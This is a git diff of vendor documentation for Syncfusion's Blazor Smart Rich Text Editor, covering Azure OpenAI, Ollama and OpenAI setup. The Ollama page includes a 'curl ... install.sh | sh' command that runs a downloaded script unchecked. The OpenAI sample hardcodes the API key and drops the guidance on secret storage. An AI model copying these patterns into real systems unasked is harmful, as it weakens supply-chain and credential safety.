-For **Azure OpenAI**, first [deploy an Azure OpenAI Service resource and model](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource), then values for `azureOpenAIKey`, `azureOpenAIEndpoint` and `azureOpenAIModel` will all be provided to you.
-
-* Install the following NuGet packages to your project:
+Install the following NuGet packages to your project:
 
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package Microsoft.Extensions.AI.OpenAI
-Install-Package Azure.AI.OpenAI
+* Microsoft.Extensions.AI
+* Microsoft.Extensions.AI.OpenAI
+* Azure.AI.OpenAI
 
-{% endhighlight %}
+You can install these packages using different methods as shown below:
 
-{% endtabs %}
+{% tabcontents %}
 
-* To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Server app.
+{% tabcontent Visual Studio %}
 
-{% tabs %}
-{% highlight C# tabtitle="Blazor Server App" hl_lines="7 8 9 11 12 13 14 15 16 17 18 19 20 21" %}
+1. In Visual Studio Navigate to:
 
-using Syncfusion.Blazor.SmartRichTextEditor;
-using Syncfusion.Blazor.AI;
-using Azure.AI.OpenAI;
-using Microsoft.Extensions.AI;
-using System.ClientModel;
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
 
-var builder = WebApplication.CreateBuilder(args);
+{% endtabcontent %}
 
-....
+{% tabcontent Visual Studio (Package Manager Console) %}
 
-builder.Services.AddSyncfusionBlazor();
+1. In Visual Studio Navigate to:
 
-string azureOpenAIKey = "AZURE_OPENAI_KEY";
-string azureOpenAIEndpoint = "AZURE_OPENAI_ENDPOINT";
-string azureOpenAIModel = "AZURE_OPENAI_MODEL";
-AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
-     new Uri(azureOpenAIEndpoint),
-     new ApiKeyCredential(azureOpenAIKey)
-);
-IChatClient azureOpenAIChatClient = azureOpenAIClient.GetChatClient(azureOpenAIModel).AsIChatClient();
-builder.Services.AddChatClient(azureOpenAIChatClient);
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
-builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
-var app = builder.Build();
-....
+Install-Package Microsoft.Extensions.AI
+Install-Package Microsoft.Extensions.AI.OpenAI
+Install-Package Azure.AI.OpenAI
 
 {% endhighlight %}
 {% endtabs %}
 
-### Ollama
-
-To use Ollama for running self-hosted models:
-
-1. **Download and install Ollama**  
-   Visit [Ollama's official website](https://ollama.com) and install the application appropriate for your operating system.
-
-2. **Install the desired model from the Ollama library**  
-   You can browse and install models from the [Ollama Library](https://ollama.com/library) (e.g., `llama2:13b`, `mistral:7b`, etc.).
-
-3. **Configure your application**
+{% endtabcontent %}
 
-   - Provide the `Endpoint` URL where the model is hosted (e.g., `http://localhost:11434`).
-   - Set `ModelName` to the specific model you installed (e.g., `llama2:13b`).
+{% tabcontent Visual Studio Code / .NET CLI %}
 
-* Install the following NuGet packages to your project:
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
 
 {% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
 
-{% highlight c# tabtitle="Package Manager" %}
-
-Install-Package Microsoft.Extensions.AI
-Install-Package OllamaSharp
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+dotnet add package Azure.AI.OpenAI
 
 {% endhighlight %}
-
 {% endtabs %}
 
-* Add the following settings to the **~/Program.cs** file in your Blazor Server app.
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+* For **Azure OpenAI**, first [deploy an Azure OpenAI Service resource and model](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/create-resource), then values for `azureOpenAIKey`, `azureOpenAIEndpoint` and `azureOpenAIModel` will all be provided to you.
+
+* To configure the AI service, add the following settings to the **~/Program.cs** file in your Blazor Web app.
 
 {% tabs %}
-{% highlight C# tabtitle="Blazor Server App" hl_lines="5 6 10 11 12 13 14 15" %}
+{% highlight C# tabtitle="Program.cs" hl_lines="3 4 5 6 14 15 16 17 18 19 20 21 22 23 24" %}
 
-using Syncfusion.Blazor.SmartRichTextEditor;
+using Syncfusion.Blazor;
 using Syncfusion.Blazor.AI;
+using Azure.AI.OpenAI;
 using Microsoft.Extensions.AI;
-using OllamaSharp;
+using System.ClientModel;
+
 var builder = WebApplication.CreateBuilder(args);
 
 ....
 
 builder.Services.AddSyncfusionBlazor();
 
-string ModelName = "MODEL_NAME";
-IChatClient chatClient = new OllamaApiClient("http://localhost:11434", ModelName);
-builder.Services.AddChatClient(chatClient);
+string azureOpenAIKey = "AZURE_OPENAI_KEY";
+string azureOpenAIEndpoint = "AZURE_OPENAI_ENDPOINT";
+string azureOpenAIModel = "AZURE_OPENAI_MODEL";
+AzureOpenAIClient azureOpenAIClient = new AzureOpenAIClient(
+     new Uri(azureOpenAIEndpoint),
+     new ApiKeyCredential(azureOpenAIKey)
+);
+IChatClient azureOpenAIChatClient = azureOpenAIClient.GetChatClient(azureOpenAIModel).AsIChatClient();
+builder.Services.AddChatClient(azureOpenAIChatClient);
 
 builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 
@@ -286,24 +376,18 @@ var app = builder.Build();
 {% endhighlight %}
 {% endtabs %}
 
+N> To configure other AI services, refer to the following sections [Ollama AI Service](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/ollama) and [Custom AI Service](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/custom-inference-backend).
+
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Reference the stylesheet and script in the `<head>` of the main page as follows:
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
-* For **.NET 6** Blazor Server app, include it in **~/Pages/_Layout.cshtml** file.
+```html
 
-* For **.NET 10, .NET 9 and .NET 8** Blazor Server app, include it in the **~/Components/App.razor** file.
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/tailwind.css" rel="stylesheet" />
-</head>
-
-<body>
-    ....
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</body>
 ```
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
@@ -314,14 +398,10 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> **Blazor Smart Rich Tex
 
 N> If an Interactivity Location is set to `Global` and the **Render Mode** is set to `Server`, the render mode is configured in the `App.razor` file by default.
 
-```
-@* desired render mode define here *@
-@rendermode InteractiveServer
-```
-
 {% tabs %}
 {% highlight razor tabtitle="~/Index.razor" %}
 
+@rendermode InteractiveServer
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
@@ -339,7 +419,7 @@ N> If an Interactivity Location is set to `Global` and the **Render Mode** is se
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component in your default web browser.
+* To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor component in the default web browser.
 
 * Start typing content and use the AI tools in the toolbar to enhance your editing experience.
 
@@ -351,5 +431,5 @@ N> [View Sample in GitHub](https://github.com/syncfusion/smart-ai-samples).
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor in Blazor Web App](getting-started-webapp.md)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Smart Rich Text Editor in Blazor Web App](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp)
 * [RichTextEditor Documentation](https://blazor.syncfusion.com/documentation/rich-text-editor)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/images/azureopenai-integration.png b/blazor/smart-rich-text-editor/images/azureopenai-integration.png
new file mode 100644
index 0000000000..e92b7647ae
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/azureopenai-integration.png differ
diff --git a/blazor/smart-rich-text-editor/images/ollama-integration.png b/blazor/smart-rich-text-editor/images/ollama-integration.png
new file mode 100644
index 0000000000..cc1b316361
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/ollama-integration.png differ
diff --git a/blazor/smart-rich-text-editor/images/openai-integration.webp b/blazor/smart-rich-text-editor/images/openai-integration.webp
new file mode 100644
index 0000000000..923e24749d
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/openai-integration.webp differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-bannertemplate-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-bannertemplate-property.png
new file mode 100644
index 0000000000..bbcc7c7058
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-bannertemplate-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-command-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-command-property.png
new file mode 100644
index 0000000000..2ef8534a6d
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-command-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-header-toolbasettings-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-header-toolbasettings-property.png
new file mode 100644
index 0000000000..fd1add61c3
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-header-toolbasettings-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-methods.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-methods.png
new file mode 100644
index 0000000000..460215f67e
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-methods.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-placeholder-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-placeholder-property.png
new file mode 100644
index 0000000000..844cd3e818
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-placeholder-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupmaxheight-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupmaxheight-property.png
new file mode 100644
index 0000000000..a505708f3e
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupmaxheight-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupwidth-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupwidth-property.png
new file mode 100644
index 0000000000..c3897ba5d5
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-popupwidth-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompt-toolbasettings-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompt-toolbasettings-property.png
new file mode 100644
index 0000000000..da8d00c93b
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompt-toolbasettings-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompts-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompts-property.png
new file mode 100644
index 0000000000..3cb2ca6f0b
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-prompts-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-response-toolbasettings-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-response-toolbasettings-property.png
new file mode 100644
index 0000000000..b44507d138
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-response-toolbasettings-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-rich-text-editor-suggestions-property.png b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-suggestions-property.png
new file mode 100644
index 0000000000..5cce1d7c53
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-rich-text-editor-suggestions-property.png differ
diff --git a/blazor/smart-rich-text-editor/images/smart-richtexteditor-custom-ai-service.gif b/blazor/smart-rich-text-editor/images/smart-richtexteditor-custom-ai-service.gif
new file mode 100644
index 0000000000..731cc8a14e
Binary files /dev/null and b/blazor/smart-rich-text-editor/images/smart-richtexteditor-custom-ai-service.gif differ
diff --git a/blazor/smart-rich-text-editor/method.md b/blazor/smart-rich-text-editor/method.md
index 582d85b2ab..bc9e258764 100644
--- a/blazor/smart-rich-text-editor/method.md
+++ b/blazor/smart-rich-text-editor/method.md
@@ -42,6 +42,7 @@ The following example demonstrates how to use all AssistViewSettings methods tog
     <SfButton @onclick="GetHistoryAsync">Get AI History</SfButton>
 </div>
 <SfSmartRichTextEditor>
+    <p>Defines the available methods of the AssistViewSettings, allowing you to perform actions and programmatically control the behavior and functionality of the AssistView within the editor.</p>
     <AssistViewSettings @ref="AssistViewSettings" Placeholder="Ask AI to enhance your content..." />
 </SfSmartRichTextEditor>
 @code {
@@ -82,10 +83,12 @@ The following example demonstrates how to use all AssistViewSettings methods tog
 {% endhighlight %}
 {% endtabs %}
 
+![Blazor Smart Rich Text Editor AssistViewSettings Methods](./images/smart-rich-text-editor-methods.png)
+
 ---
 
-## See Also
+## See also
 
-* [Properties](property.md)
-* [Appearance](appearance.md)
-* [Events](events.md)
\ No newline at end of file
+* [Properties](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/property)
+* [Appearance](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/appearance)
+* [Events](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/events)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/ollama.md b/blazor/smart-rich-text-editor/ollama.md
index 9e2503c409..d57a440f29 100644
--- a/blazor/smart-rich-text-editor/ollama.md
+++ b/blazor/smart-rich-text-editor/ollama.md
@@ -34,27 +34,36 @@ Ollama is a lightweight, open-source framework for running large language models
 
 Visit [Ollama's Official Website](https://ollama.com) and download the installer for your operating system.
 
-#### Windows
+{% tabcontents %}
 
-1. Download the Windows installer
-2. Run the installer and follow the setup wizard
-3. Accept default installation path or customize
-4. Complete installation
+{% tabcontent Windows %}
 
-#### macOS
+1. Visit [Windows](https://ollama.com/download)
+2. Click `Download for Windows` to get the `.exe installer`. 
+3. Run `OllamaSetup.exe` and follow the wizard to install.
 
-1. Download the macOS installer
-2. Open the `.dmg file`
-3. Drag Ollama to Applications folder
-4. Launch from Applications
+{% endtabcontent %}
 
-#### Linux
+{% tabcontent macOS %}
 
-Use the installation script:
+1. Visit [macOS](https://ollama.com/download/mac)
+2. Click `Download for macOS` to get `.dmg file`
+3. Install it by following the wizard.
 
-```bash
-curl https://ollama.ai/install.sh | sh
-```
+{% endtabcontent %}
+
+{% tabcontent Linux %}
+
+1. Visit [Linux](https://ollama.com/download/linux)
+2. Run the below command to install Ollama in your system
+
+   ```bash
+   curl https://ollama.ai/install.sh | sh
+   ```
+
+{% endtabcontent %}
+
+{% endtabcontents %}
 
 ### Step 2: Verify Installation
 
@@ -66,11 +75,15 @@ ollama --version
 
 ### Step 3: Start Ollama Service
 
-#### Windows
+{% tabcontents %}
+
+{% tabcontent Windows %}
 
 Ollama starts automatically. Access at `http://localhost:11434`
 
-#### macOS/Linux
+{% endtabcontent %}
+
+{% tabcontent macOS/Linux %}
 
 Start the Ollama service:
 
@@ -78,6 +91,10 @@ Start the Ollama service:
 ollama serve
 ```
 
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 ## Installing Models
 
 ### Available Models
@@ -120,21 +137,70 @@ Type your prompt and press Enter. Type `/bye` to exit.
 
 > **Note**: OllamaSharp is a community package for local model integration. Ensure compliance with your organization's policy on third-party NuGet packages before using in production.
 
-### Installation
+## Setup the Smart Rich Text Editor Component
+
+Follow the [Getting Started](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp) guide to configure and render the Smart Rich Text Editor component in the application and that prerequisites are met.
+
+## Install NuGet packages
+
+Install the following NuGet packages to your project:
+
+* [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+* [OllamaSharp](https://www.nuget.org/packages/OllamaSharp)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
 
-Install required NuGet packages:
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight c# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
-Install-Package Syncfusion.Blazor.SmartRichTextEditor
-Install-Package Syncfusion.Blazor.Themes
 Install-Package Microsoft.Extensions.AI
 Install-Package OllamaSharp
 
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Microsoft.Extensions.AI
+dotnet add package OllamaSharp
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 ### Setup in Program.cs
 
 ```csharp
@@ -158,7 +224,7 @@ string modelName = "mistral"; // or any other installed model
 IOllamaApiClient ollamaClient = new OllamaApiClient(ollamaEndpoint, modelName);
 
 // Convert to IChatClient
-IChatClient chatClient = ollamaClient;
+IChatClient chatClient = (IChatClient)ollamaClient;
 
 builder.Services.AddChatClient(chatClient);
 
@@ -170,17 +236,6 @@ var app = builder.Build();
 // ... rest of setup
 ```
 
-### Add to _Imports.razor
-
-{% tabs %}
-{% highlight razor tabtitle="~/Components/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.SmartRichTextEditor
-
-{% endhighlight %}
-{% endtabs %}
-
 ### Use Ollama AI with Smart Rich Text Editor Component
 
 {% tabs %}
@@ -189,137 +244,26 @@ var app = builder.Build();
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
-    <AssistViewSettings Placeholder="Edit with local AI assistance..."/>
+    <AssistViewSettings Placeholder="Use Ollama AI for local AI-powered editing..." />
     <div>
-        <h3>Ollama + Smart Rich Text Editor</h3>
-        <p>Use AI Commands to improve selected text or change tone.</p>
+        <strong>Use Ollama AI with Smart Rich Text Editor:</strong>
         <ul>
-            <li>Select text and request suggestions</li>
-            <li>Press Alt+Enter for AI Query</li>
+            <li>Select text and use <b>AI Commands</b> to generate or refine content locally</li>
+            <li>Press <b>Alt + Enter</b> to open the Ollama AI query dialog</li>
+            <li>Improve grammar, rephrase sentences, or adjust tone using local AI</li>
         </ul>
+        <p>
+            Start typing your content and leverage Ollama AI to enhance writing quality, generate ideas, and optimize text directly within the editor using a local model.
+        </p>
     </div>
 </SfSmartRichTextEditor>
 
 {% endhighlight %}
 {% endtabs %}
 
-## Configuration Options
-
-### Custom Endpoint
-
-If Ollama runs on different host/port:
-
-```csharp
-string ollamaEndpoint = "http://192.168.1.100:11434";
-IOllamaApiClient ollamaClient = new OllamaApiClient(ollamaEndpoint, "mistral");
-```
+![Syncfusion Smart Rich Text Editor Ollama Integration](images/ollama-integration.png)
 
-### Model Parameters
-
-Configure model behavior:
-
-```csharp
-// Create client with parameters
-IOllamaApiClient ollamaClient = new OllamaApiClient("http://localhost:11434", "mistral");
-
-// Set parameters (varies by OllamaSharp version)
-var request = new GenerateRequest
-{
-    Model = "mistral",
-    Prompt = "Your prompt",
-    Temperature = 0.7f,
-    TopK = 40,
-    TopP = 0.9f,
-};
-```
-
-### Dynamic Model Selection
-
-```csharp
-// Read model name from configuration
-string modelName = builder.Configuration["Ollama:ModelName"] ?? "mistral";
-string endpoint = builder.Configuration["Ollama:Endpoint"] ?? "http://localhost:11434";
-
-IOllamaApiClient ollamaClient = new OllamaApiClient(endpoint, modelName);
-```
-
-## Docker Deployment
-
-### Docker Compose Setup
-
-```yaml
-version: '3.8'
-services:
-  ollama:
-    image: ollama/ollama:latest
-    ports:
-      - "11434:11434"
-    volumes:
-      - ollama_data:/root/.ollama
-    environment:
-      - OLLAMA_HOST=0.0.0.0:11434
-
-volumes:
-  ollama_data:
-```
-
-### Start with Docker
-
-```bash
-docker-compose up -d
-```
-
-### Pull Models in Container
-
-```bash
-docker exec -it <container-id> ollama pull mistral
-```
-
-## Advanced Configuration
-
-### Multiple Models
-
-Run different models for different purposes:
-
-```csharp
-// For general editing
-var generalClient = new OllamaApiClient("http://localhost:11434", "mistral");
-
-// For code-related tasks
-var codeClient = new OllamaApiClient("http://localhost:11434", "neural-chat");
-
-// Conditionally use based on context
-IChatClient chatClient = useForCode ? codeClient : generalClient;
-```
-
-## Performance Optimization
-
-### Tips for Better Performance
-
-1. **Use GPU Acceleration**
-   - NVIDIA GPUs: Install CUDA toolkit
-   - AMD GPUs: Install ROCm
-   - Intel GPUs: Install Intel oneAPI
-
-2. **Increase Memory Allocation**
-   ```bash
-   # Linux/macOS
-   export OLLAMA_NUM_PARALLEL=1
-   ollama serve
-   ```
-
-3. **Choose Efficient Models**
-   - Mistral is fastest
-   - `Orca-mini` for lightweight deployment
-   - `Dolphin-mixtral` for best quality
-
-4. **Implement Caching**
-   - Cache common prompts
-   - Reuse model responses
-
-5. **Optimize Request Size**
-   - Keep prompts concise
-   - Limit response length with max tokens
+N> Running Ollama locally may lead to slower response times due to system resource usage.
 
 ## Troubleshooting
 
@@ -352,44 +296,9 @@ ollama pull mistral
 - Close other applications
 - Restart Ollama service
 
-### Performance Issues
-
-**Slow response times**
-- Check CPU/GPU usage
-- Enable GPU acceleration if available
-- Use faster models
-- Increase system RAM
-
-## Model Recommendations
-
-| Use Case | Model | Pros | Cons |
-|----------|-------|------|------|
-| General editing | Mistral | Fast, good quality | Less context |
-| Content creation | Llama 2 | Balanced | Larger model |
-| Code assistance | Neural-chat | Good reasoning | Slower |
-| Lightweight | Orca-mini | Very fast | Limited capability |
-| Best quality | Dolphin-mixtral | Excellent | Resource heavy |
-
-## Security Considerations
-
-### Local Processing Benefits
-
-- All data stays on your machine
-- No external API calls
-- Compliance with data regulations
-- Full control over data retention
-
-### Best Practices
-
-1. Restrict network access to Ollama
-2. Use firewall rules if networked
-3. Keep Ollama updated
-4. Monitor resource usage
-
 ## See also
 
-* [Getting Started with Smart Rich Text Editor](getting-started.md)
-* [OpenAI Configuration](openai-service.md)
-* [Azure OpenAI Configuration](azure-openai-service.md)
-* [AI Features and Customization](ai-features.md)
+* [Getting Started with Smart Rich Text Editor](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp)
+* [OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/openai-service)
+* [Azure OpenAI Configuration](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/azure-openai-service)
 * [Ollama Official Documentation](https://ollama.ai/docs)
\ No newline at end of file
diff --git a/blazor/smart-rich-text-editor/openai-service.md b/blazor/smart-rich-text-editor/openai-service.md
index 3da98e2817..bfbdc3f780 100644
--- a/blazor/smart-rich-text-editor/openai-service.md
+++ b/blazor/smart-rich-text-editor/openai-service.md
@@ -36,21 +36,70 @@ OpenAI offers various models for different use cases:
 
 > **Note**: Model availability and names may change. Refer to [OpenAI documentation](https://developers.openai.com/api/docs/models) for current options.
 
-## Installation
+## Setup the Smart Rich Text Editor Component
 
-Install the required NuGet packages:
+Follow the [Getting Started](https://blazor.syncfusion.com/documentation/smart-rich-text-editor/getting-started-webapp) guide to configure and render the Smart Rich Text Editor component in the application and that prerequisites are met.
+
+## Install NuGet packages
+
+Install the following NuGet packages to your project:
+
+* [Microsoft.Extensions.AI](https://www.nuget.org/packages/Microsoft.Extensions.AI)
+* [Microsoft.Extensions.AI.OpenAI](https://www.nuget.org/packages/Microsoft.Extensions.AI.OpenAI)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight c# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
-Install-Package Syncfusion.Blazor.SmartRichTextEditor
-Install-Package Syncfusion.Blazor.Themes
 Install-Package Microsoft.Extensions.AI
 Install-Package Microsoft.Extensions.AI.OpenAI
 
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Microsoft.Extensions.AI
+dotnet add package Microsoft.Extensions.AI.OpenAI
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 ## Configuration
 
 ### Step 1: Setup in Program.cs
@@ -72,11 +121,9 @@ builder.Services.AddServerSideBlazor();
 // Register Syncfusion Blazor Service
 builder.Services.AddSyncfusionBlazor();
 
-// Configure OpenAI - load from configuration
-string openAIApiKey = builder.Configuration["OpenAI:ApiKey"] 
-    ?? throw new InvalidOperationException("OpenAI:ApiKey not configured");
-string openAIModel = builder.Configuration["OpenAI:Model"] ?? "gpt-3.5-turbo";
-
+// Configure OpenAI
+string openAIApiKey = "Your API Key";
+string openAIModel = "Your Model Name";
 OpenAIClient openAIClient = new OpenAIClient(openAIApiKey);
 IChatClient openAIChatClient = openAIClient.GetChatClient(openAIModel).AsIChatClient();
 builder.Services.AddSingleton<IChatClient>(openAIChatClient);
@@ -84,26 +131,12 @@ builder.Services.AddSingleton<IChatClient>(openAIChatClient);
 // Register Smart Rich Text Editor Components with OpenAI
 builder.Services.AddSingleton<IChatInferenceService, SyncfusionAIService>();
 
-
 var app = builder.Build();
 
 // ... rest of your application setup
 ```
 
-### Step 2: Add Imports to _Imports.razor
-
-Update **~/_Imports.razor** to include necessary namespaces:
-
-{% tabs %}
-{% highlight razor tabtitle="~/Components/_Imports.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.SmartRichTextEditor
-
-{% endhighlight %}
-{% endtabs %}
-
-### Step 3: Use OpenAI with Smart Rich Text Editor Component
+### Step 2: Use OpenAI with Smart Rich Text Editor Component
 
 Add the Smart Rich Text Editor to your Blazor page:
 
@@ -113,13 +146,13 @@ Add the Smart Rich Text Editor to your Blazor page:
 @using Syncfusion.Blazor.SmartRichTextEditor
 
 <SfSmartRichTextEditor>
-    <AssistViewSettings Placeholder="Start typing or use AI assistance..."/>
+    <AssistViewSettings Placeholder="Use OpenAI to enhance your content..." />
     <div>
-        <strong>Tips:</strong>
+        <strong>Use OpenAI with Smart Rich Text Editor:</strong>
         <ul>
-            <li>Select text and click "AI Commands" for quick improvements</li>
-            <li>Press Alt+Enter to open AI Query dialog</li>
-            <li>Use AI to fix grammar, adjust tone, or rephrase content</li>
+            <li>Select text and use <b>AI Commands</b> to generate or refine content</li>
+            <li>Press <b>Alt + Enter</b> to open the AI query dialog</li>
+            <li>Generate summaries, rephrase sentences, or improve grammar using AI</li>
         </ul>
     </div>
 </SfSmartRichTextEditor>
@@ -127,71 +160,7 @@ Add the Smart Rich Text Editor to your Blazor page:
 {% endhighlight %}
 {% endtabs %}
 
-## Using Environment Variables
-
-For security, store your API key in environment variables:
-
-### Windows
-
-```powershell
-$env:OPENAI_API_KEY = "your-api-key"
-```
-
-### Linux/macOS
-
-```bash
-export OPENAI_API_KEY="your-api-key"
-```
-
-### Reading from Environment in Program.cs
-
-```csharp
-string openAIApiKey = Environment.GetEnvironmentVariable("OPENAI_API_KEY") 
-    ?? throw new InvalidOperationException("OpenAI API key not found in environment variables");
-```
-
-## Using User Secrets
-
-For development, use User Secrets:
-
-```bash
-dotnet user-secrets init
